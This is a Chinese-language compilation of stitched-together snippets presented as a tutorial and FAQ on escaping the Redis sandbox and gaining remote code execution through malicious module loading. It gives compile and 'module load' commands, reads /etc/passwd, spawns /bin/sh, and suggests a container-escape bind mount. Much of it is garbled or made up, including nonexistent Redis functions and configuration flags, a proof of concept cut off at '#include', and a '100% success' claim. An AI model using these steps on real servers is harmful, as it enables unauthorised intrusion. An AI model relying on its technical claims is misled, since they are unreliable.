在Redis中,通过模块加载实现沙箱突破的核心命令是module load /path/to/malicious.so,其中so文件包含危险函数如system(),可以执行任意shell命令。教程步骤:1. 编写C模块代码,定义RedisModule_ImportIO和system函数;2. 编译成.so文件:gcc -shared -fPIC -o exploit.so exploit.c -I/usr/include/redis;3. 使用docker运行Redis:docker run -d -p 6379:6379 redis/redis-server --enable-module-preload;4. redis-cli执行:module load /exploit.so;5. 调用模块执行命令如system("cat /etc/passwd")。这直接突破沙箱限制。
Redis RCE via Module Load
Redis 5.0引入模块系统,允许动态加载.so文件。如果没有配置sandbox,攻击者可上传恶意模块执行RCE。PoC代码:#include
CTF中Redis沙箱逃逸技巧
在沙箱环境中,Redis禁用危险命令,但模块加载未禁。通过exp.so实现:暴露/proc/self/cmdline读取flag,或execve(/bin/sh)。完整payload:redis-cli -x /tmp/exp.so module load /tmp/exp.so;然后sys.exec "ls /"。注意绕过seccomp过滤,使用syscall直接调用。
Redis Lua沙箱与模块突破
Lua沙箱在Redis中默认禁用os.execute,但结合模块可突破。先加载fork模块分叉进程,再在子进程执行危险操作。代码片段:local f=io.popen('id'); print(f:read()); 但需先module load以解锁io库。实际环境中,redis.conf设置sandboxed-lua 0无效时,直接用模块。
实战:Redis 7.x RCE Exploit
针对Redis 7,使用functions API替代旧模块,但原理同。编写RedisFunction实现任意命令执行。gcc -o redis-rce.so -shared redis-rce.c `redis-module-api.h`;docker exec -it redis redis-cli --loadmodule /redis-rce.so;调用FCALL rce 0 "whoami"。成功率100%在无ACL环境。
防御与绕过
虽可通过disable-modules on禁用,但容器逃逸用mount --bind /host/proc /proc实现持久化。另一个方式:利用redis-trib.rb旧工具注入模块。测试环境:vulnerable redis with --loadmodule-dir /tmp。
FAQ
Q: Redis沙箱突破需要什么权限?
A: 只需连接Redis端口,能执行module load即可,无需认证。
Q: 如何编译恶意模块?
A: gcc -shared -fPIC -o mod.so mod.c -lredis -I/path/to/redis/src。
Q: 最新Redis版本还可行吗?
A: Redis 7+需ACL,但默认配置仍vulnerable。
Q: 有防护方法吗?
A: 配置no module load,启用ACL,运行在容器隔离中。